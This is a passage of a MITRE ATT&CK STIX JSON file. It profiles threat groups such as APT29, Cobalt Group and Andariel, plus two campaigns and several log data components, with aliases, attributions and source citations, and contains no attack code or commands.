2021.","url":"https://www.secureworks.com/research/threat-profiles/cobalt-illusion"},{"source_name":"US District Court of DC Phosphorus Complaint 2019","description":"US District Court of DC. (2019, March 14). MICROSOFT CORPORATION v. JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS. Retrieved March 8, 2021.","url":"https://noticeofpleadings.com/phosphorus/files/Complaint.pdf"},{"source_name":"IBM ITG18 2020","description":"Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.","url":"https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-03T18:48:32.299Z","name":"APT29","description":"[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)\n\nIn April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Industry reporting also referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Unit 42 SolarStorm December 2020)","aliases":["APT29","IRON RITUAL","IRON HEMLOCK","NobleBaron","Dark Halo","NOBELIUM","UNC2452","YTTRIUM","The Dukes","Cozy Bear","CozyDuke","SolarStorm","Blue Kitsune","UNC3524","Midnight Blizzard"],"x_mitre_deprecated":false,"x_mitre_version":"6.1","x_mitre_contributors":["Daniyal Naeem, BT Security","Matt Brenton, Zurich Insurance Group","Katie Nickels, Red Canary","Joe Gumke, U.S. Bank","Liran Ravich, CardinalOps"],"type":"intrusion-set","id":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","created":"2017-05-31T21:31:52.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0016","external_id":"G0016"},{"source_name":"CozyDuke","description":"(Citation: Crowdstrike DNC June 2016)"},{"source_name":"Cozy Bear","description":"(Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: CrowdStrike StellarParticle January 2022)"},{"source_name":"The Dukes","description":"(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)"},{"source_name":"APT29","description":"(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)"},{"source_name":"UNC2452","description":"(Citation: FireEye SUNBURST Backdoor December 2020)"},{"source_name":"UNC3524","description":"(Citation: Mandiant APT29 Eye Spy Email Nov 22)"},{"source_name":"Midnight Blizzard","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"YTTRIUM","description":"(Citation: Microsoft Unidentified Dec 2018)"},{"source_name":"NOBELIUM","description":"(Citation: MSTIC NOBELIUM Mar 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: MSRC Nobelium June 2021)"},{"source_name":"Blue Kitsune","description":"(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)"},{"source_name":"IRON HEMLOCK","description":"(Citation: Secureworks IRON HEMLOCK Profile)"},{"source_name":"IRON RITUAL","description":"(Citation: Secureworks IRON RITUAL Profile)"},{"source_name":"NobleBaron","description":"(Citation: SentinelOne NobleBaron June 2021)"},{"source_name":"SolarStorm","description":"(Citation: Unit 42 SolarStorm December 2020)"},{"source_name":"Dark Halo","description":"(Citation: Volexity SolarWinds)"},{"source_name":"Crowdstrike DNC June 2016","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"},{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"CrowdStrike SUNSPOT Implant January 2021","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"},{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"GRIZZLY STEPPE JAR","description":"Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017.","url":"https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf"},{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"},{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"},{"source_name":"SentinelOne NobleBaron June 2021","description":"Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.","url":"https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/"},{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft Unidentified Dec 2018","description":"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.","url":"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"},{"source_name":"MSTIC NOBELIUM May 2021","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"},{"source_name":"MSRC Nobelium June 2021","description":"MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.","url":"https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/"},{"source_name":"MSTIC Nobelium Toolset May 2021","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"},{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"},{"source_name":"NCSC APT29 July 2020","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf"},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"},{"source_name":"NSA Joint Advisory SVR SolarWinds April 2021","description":"NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.","url":"https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF"},{"source_name":"PWC WellMess C2 August 2020","description":"PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020.","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html"},{"source_name":"PWC WellMess July 2020","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020.","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html"},{"source_name":"Secureworks IRON HEMLOCK Profile","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022.","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock"},{"source_name":"Secureworks IRON RITUAL Profile","description":"Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022.","url":"https://www.secureworks.com/research/threat-profiles/iron-ritual"},{"source_name":"UK Gov Malign RIS Activity April 2021","description":"UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021.","url":"https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services"},{"source_name":"UK Gov UK Exposes Russia SolarWinds April 2021","description":"UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021.","url":"https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise"},{"source_name":"UK NSCS Russia SolarWinds April 2021","description":"UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.","url":"https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise"},{"source_name":"Unit 42 SolarStorm December 2020","description":"Unit 42. (2020, December 23). SolarStorm Supply Chain Attack Timeline. Retrieved March 24, 2023.","url":"https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/"},{"source_name":"White House Imposing Costs RU Gov April 2021","description":"White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021.","url":"https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-24T18:48:18.917Z","name":"EXOTIC LILY","description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) is a financially motivated group that has been closely linked with [Wizard Spider](https://attack.mitre.org/groups/G0102) and the deployment of ransomware including [Conti](https://attack.mitre.org/software/S0575) and [Diavol](https://attack.mitre.org/software/S0659). [EXOTIC LILY](https://attack.mitre.org/groups/G1011) may be acting as an initial access broker for other malicious actors, and has targeted a wide range of industries including IT, cybersecurity, and healthcare since at least September 2021.(Citation: Google EXOTIC LILY March 2022)","aliases":["EXOTIC LILY"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Phill Taylor, BT Security"],"type":"intrusion-set","id":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","created":"2022-08-18T15:25:59.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1011","external_id":"G1011"},{"source_name":"Google EXOTIC LILY March 2022","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022.","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:30:09.195Z","name":"Operation Honeybee","description":"[Operation Honeybee](https://attack.mitre.org/campaigns/C0006) was a campaign that targeted humanitarian aid and inter-Korean affairs organizations from at least late 2017 through early 2018. [Operation Honeybee](https://attack.mitre.org/campaigns/C0006) initially targeted South Korea, but expanded to include Vietnam, Singapore, Japan, Indonesia, Argentina, and Canada. Security researchers assessed the threat actors were likely Korean speakers based on metadata used in both lure documents and executables, and named the campaign \"Honeybee\" after the author name discovered in malicious Word documents.(Citation: McAfee Honeybee) ","aliases":["Operation Honeybee"],"first_seen":"2017-08-01T05:00:00.000Z","last_seen":"2018-02-01T06:00:00.000Z","x_mitre_first_seen_citation":"(Citation: McAfee Honeybee)","x_mitre_last_seen_citation":"(Citation: McAfee Honeybee)","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"campaign","id":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","created":"2022-09-16T21:08:54.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0006","external_id":"C0006"},{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2023-04-10T21:18:24.743Z","name":"2016 Ukraine Electric Power Attack","description":"[2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025) was a [Sandworm Team](https://attack.mitre.org/groups/G0034) campaign during which they used [Industroyer](https://attack.mitre.org/software/S0604) malware to target and disrupt distribution substations within the Ukrainian power grid. This campaign was the second major public attack conducted against Ukraine by [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: ESET Industroyer)(Citation: Dragos Crashoverride 2018)","aliases":["2016 Ukraine Electric Power Attack"],"first_seen":"2016-12-01T05:00:00.000Z","last_seen":"2016-12-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: ESET Industroyer)(Citation: Dragos Crashoverride 2018)","x_mitre_last_seen_citation":"(Citation: ESET Industroyer)(Citation: Dragos Crashoverride 2018)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","created":"2023-03-31T17:22:23.567Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0025","external_id":"C0025"},{"source_name":"ESET Industroyer","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf"},{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack","ics-attack"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--45977f14-1bcc-4ec4-ac14-a30fd3a11f44","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Cloud Storage Modification","description":"Changes made to cloud storage infrastructure, including its settings and/or data (ex: AWS S3 PutObject or PutObjectAcl)","x_mitre_data_source_ref":"x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.271Z","name":"Scheduled Job Modification","description":"Changes made to a scheduled job, such as modifications to the execution launch (ex: Windows EID 4702 or /var/log cron logs)","x_mitre_data_source_ref":"x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T03:28:29.415Z","name":"Cobalt Group","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018)","aliases":["Cobalt Group","GOLD KINGSWOOD","Cobalt Gang","Cobalt Spider"],"x_mitre_deprecated":false,"x_mitre_version":"2.1","type":"intrusion-set","id":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0080","external_id":"G0080"},{"source_name":"Cobalt Spider","description":"(Citation: Crowdstrike Global Threat Report Feb 2018)"},{"source_name":"GOLD KINGSWOOD","description":"(Citation: Secureworks GOLD KINGSWOOD September 2018)"},{"source_name":"Cobalt Gang","description":"(Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018)"},{"source_name":"Cobalt Group","description":"(Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018)"},{"source_name":"Crowdstrike Global Threat Report Feb 2018","description":"CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.","url":"https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report"},{"source_name":"Secureworks GOLD KINGSWOOD September 2018","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021.","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish"},{"source_name":"Europol Cobalt Mar 2018","description":"Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.","url":"https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain"},{"source_name":"Morphisec Cobalt Gang Oct 2018","description":"Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.","url":"https://blog.morphisec.com/cobalt-gang-2.0"},{"source_name":"RiskIQ Cobalt Nov 2017","description":"Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.","url":"https://web.archive.org/web/20190508170630/https://www.riskiq.com/blog/labs/cobalt-strike/"},{"source_name":"RiskIQ Cobalt Jan 2018","description":"Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.","url":"https://web.archive.org/web/20190508170147/https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/"},{"source_name":"Group IB Cobalt Aug 2017","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","url":"https://www.group-ib.com/blog/cobalt"},{"source_name":"Proofpoint Cobalt June 2017","description":"Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target"},{"source_name":"PTSecurity Cobalt Dec 2016","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"},{"source_name":"PTSecurity Cobalt Group Aug 2017","description":"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"},{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Windows Registry Key Creation","description":"Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)","x_mitre_data_source_ref":"x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T18:36:06.078Z","name":"Andariel","description":"[Andariel](https://attack.mitre.org/groups/G0138) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](https://attack.mitre.org/groups/G0138) has primarily focused its operations--which have included destructive attacks--against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://attack.mitre.org/groups/G0138)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021)\n\n[Andariel](https://attack.mitre.org/groups/G0138) is considered a sub-set of [Lazarus Group](https://attack.mitre.org/groups/G0032), and has been attributed to North Korea's Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.","aliases":["Andariel","Silent Chollima","PLUTONIUM","Onyx Sleet"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","x_mitre_contributors":["Kyoung-ju Kwak (S2W)"],"type":"intrusion-set","id":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","created":"2021-09-29T15:10:19.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0138","external_id":"G0138"},{"source_name":"Silent Chollima","description":"(Citation: CrowdStrike Silent Chollima Adversary September 2021)"},{"source_name":"Andariel","description":"(Citation: FSI Andariel Campaign Rifle July 2017)"},{"source_name":"PLUTONIUM","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Onyx Sleet","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"AhnLab Andariel Subgroup of Lazarus June 2018","description":"AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group, a subgroup of the Lazarus. Retrieved September 29, 2021.","url":"https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"},{"source_name":"TrendMicro New Andariel Tactics July 2018","description":"Chen, Joseph. (2018, July 16). New Andariel Reconnaissance Tactics Uncovered. Retrieved September 29, 2021.","url":"https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html"},{"source_name":"CrowdStrike Silent Chollima Adversary September 2021","description":"CrowdStrike. (2021, September 29). Silent Chollima Adversary Profile. Retrieved September 29, 2021.","url":"https://adversary.crowdstrike.com/en-US/adversary/silent-chollima/"},{"source_name":"FSI Andariel Campaign Rifle July 2017","description":"FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 12, 2024.","url":"https://fsiceat.tistory.com/2"},{"source_name":"IssueMakersLab Andariel GoldenAxe May 2017","description":"IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 12, 2024.","url":"http://www.issuemakerslab.com/research3/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Treasury North Korean Cyber Groups September 2019","description":"US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 